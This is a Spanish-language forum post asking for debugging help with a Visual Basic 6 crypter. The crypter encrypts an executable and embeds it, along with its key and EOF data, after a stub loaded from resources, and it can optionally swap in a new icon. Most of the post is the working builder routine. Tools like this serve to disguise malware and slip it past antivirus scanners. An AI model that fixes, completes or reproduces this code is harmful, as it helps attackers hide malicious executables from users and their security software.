Explico un poco tengo un modulo pe para la encryptacion, otro modulo peicon para el icono, un modulo iconchanger para cambiar el icono.
Ahora en la situación que está el programa no me da error alguno, me abre tanto el archivo a encriptar como el de seleccionar icono, como tambien me aparece el icono el la image1 colocada en el form y me encripta ; pero si no selecciono el optionbutton op1 si lo selecciono, el commandbutton no me funciona
Bien aqui les dejo el code del boton del commandbuton que es el que doy para encryptar y crear el ejecutable con el icino nuevo en su caso:
Código: Seleccionar todo
Private Sub chameleonButton3_Click()
On Error GoTo ende
Dim Buffer() As Byte
Dim ResBuffer() As Byte
Dim EofData As String
Dim Buffer2 As String
Dim Stubpath As String
Dim eRR As String
With CommonDialog1
.CancelError = True
.DialogTitle = "Select where to save the crypted file.."
.DefaultExt = ".exe"
.Filter = "Executables|*.exe"
.FileName = "Crypted232.exe"
'Cambiar icono
If Op1.Value = True Then
ReplaceIcons cuadro.FileName, App.Path + "\" + "Crypted111" + ".exe", eRR
End If
End With
CommonDialog1.ShowSave
Stubpath = CommonDialog1.FileName
ResBuffer() = LoadResData(101, "STUB")
Open Stubpath For Binary As #2
Put #2, , ResBuffer()
Close #2
Text3.Text = Text3.Text & "File read.." & vbCrLf
Text3.Text = Text3.Text & "Crypting.." & vbCrLf
EncodeArrayB LoadFile(Text1.Text), Text2.Text
Buffer() = encoded()
Buffer2 = StrConv(LoadFile(Text1.Text), vbUnicode)
EofData = Mid(Buffer2, GetEOF(Text1.Text), FileLen(Text1.Text))
Open Stubpath For Binary As #1
Put #1, LOF(1) + 1, "<F1l3>"
Put #1, LOF(1) + 1, Buffer()
Put #1, LOF(1) + 1, "<F1l3>"
Put #1, LOF(1) + 1, Text2.Text
Put #1, LOF(1) + 1, "<F1l3>"
Put #1, LOF(1) + 1, EofData
Close #1
'PatchEOF Stubpath 'removed cause it crashes the eof data
Open Stubpath For Binary As #1
Put #1, LOF(1) + 1, EofData
Close #1
Text3.Text = Text3.Text & "Successfull!" & vbCrLf
MsgBox "The file has been successfully crypted", 64, "Lilith"
ende:
End Sub
He probado a mover la parte del cambio de icono por todas partes, si la pongo al fina me encrypta este o no marcado el op1 pero no me cambia en ninguno de los casos el icono.
Gracias, espero vuestra ayuda. Si necestais mas codigo o estais interesados en ayudarme aki me teneis con ganas de aprender XD. Saludos!